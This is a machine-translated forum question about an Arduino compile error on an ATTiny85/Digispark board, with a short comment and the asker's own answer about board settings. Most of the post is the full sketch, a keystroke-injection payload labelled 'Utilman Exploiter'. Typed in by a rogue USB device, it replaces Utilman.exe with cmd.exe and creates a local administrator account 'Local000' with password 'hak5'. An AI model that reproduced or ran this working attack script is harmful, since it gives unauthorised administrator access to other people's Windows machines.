2017-07-22 136 views
0

我是Arduino的新手,請不要恨我。Arduino PluggableUSB

我的主板是ATTiny85。我已經將程序員設置爲USPasp並將「board」設置爲Digispark Default 16.5Mhz。我認爲這是錯的。

我收到此錯誤信息:

In file included from C:\Program Files (x86)\Arduino\libraries\Keyboard\src/Keyboard.h:25:0, 

       from C:\Users\lavaa\AppData\Local\Temp\arduino_modified_sketch_97774\Keyboard.ino:5: 

C:\Program Files (x86)\Arduino\libraries\HID\src/HID.h:24:26: fatal error: PluggableUSB.h: No such file or directory 

#include "PluggableUSB.h" 

         ^

compilation terminated. 

我試圖下載PluggableUSB lib和將其放入文件夾,但沒有奏效。我的板管理員網址是:

http://digistump.com/package_digistump_index.json 
https://raw.githubusercontent.com/damellis/attiny/ide-1.6.x-boards-manager/package_damellis_attiny_index.json 

我的代碼是這樣的:

/* 
* Generated with <3 by Dckuino.js, an open source project ! 
*/ 

#include "Keyboard.h" 
#include "PluggableUSB.h" 

void typeKey(uint8_t key) { 
    Keyboard.press(key); 
    delay(50); 
    Keyboard.release(key); 
} 

/* Init function */ 
void setup() { 
    // Begining the Keyboard stream 
    Keyboard.begin(); 
    // Wait 500ms 
    delay(500); 
    // Author: Xcellerator 
    // Description: Utilman Exploiter to create a new Admin Account 
    // The new account will be called "Local000". 
    typeKey(KEY_LEFT_GUI); 
    delay(50); 
    Keyboard.print(F("cmd")); 
    typeKey(229); 
    Keyboard.print(F("a")); 
    typeKey(KEY_RETURN); 
    typeKey(KEY_LEFT_ARROW); 
    typeKey(KEY_RETURN); 
    delay(200); 
    Keyboard.print(F("takeown /f \"%systemroot%\\System32\\Utilman.exe\"")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("icacls \"%systemroot%\\System32\\Utilman.exe\" /grant administrators:F /T")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("cd %systemroot%\\System32")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("mkdir util")); 
    typeKey(KEY_RETURN); 
    Keyboard.print(F("xcopy cmd.exe util\\")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("ren Utilman.exe Utilman.exe.bak")); 
    typeKey(KEY_RETURN); 
    Keyboard.print(F("cd util")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("ren cmd.exe Utilman.exe")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("cd ..")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("xcopy util/Utilman.exe \\")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("rmdir /s /q util")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("exit")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.press(KEY_LEFT_GUI); 
    Keyboard.press('u'); 
    Keyboard.releaseAll(); 
    Keyboard.print(F("net user Local000 /add")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("net localgroup administrators Local000 /add")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("exit")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.press(KEY_LEFT_GUI); 
    Keyboard.press('r'); 
    Keyboard.releaseAll(); 
    Keyboard.print(F("cmd")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("cd \"%systemroot%\\System32\"")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("delete Utilman.exe")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("y")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("ren Utilman.exe.bak Utilman.exe")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    Keyboard.print(F("exit")); 
    typeKey(KEY_RETURN); 
    typeKey(KEY_LEFT_GUI); 
    Keyboard.print(F("cmd")); 
    typeKey(229); 
    Keyboard.print(F("a")); 
    typeKey(KEY_RETURN); 
    delay(50); 
    typeKey(KEY_LEFT_ARROW); 
    typeKey(KEY_RETURN); 
    delay(200); 
    Keyboard.print(F("net user Local000 *")); 
    typeKey(KEY_RETURN); 
    Keyboard.print(F("hak5")); 
    typeKey(KEY_RETURN); 
    Keyboard.print(F("hak5")); 
    typeKey(KEY_RETURN); 
    Keyboard.print(F("exit")); 
    typeKey(KEY_RETURN); 
    // Ending stream 
    Keyboard.end(); 
} 

/* Unused endless loop */ 
void loop() {} 

我一直試圖讓這個2小時或什麼工作...

+0

也許這會幫助... https://www.arduino.cc/en/Guide/Libraries –

回答

0

不知怎的,我做到了,我剛剛從董事會管理員那裏安裝了ATTiny85,它現在可以工作,但是我問過的每個人都說我應該使用Digispark Default。我不知道爲什麼或如何,但它現在的作品,感謝米歇爾羅伊的提示。哦,順便說一句,達達你怪物:)。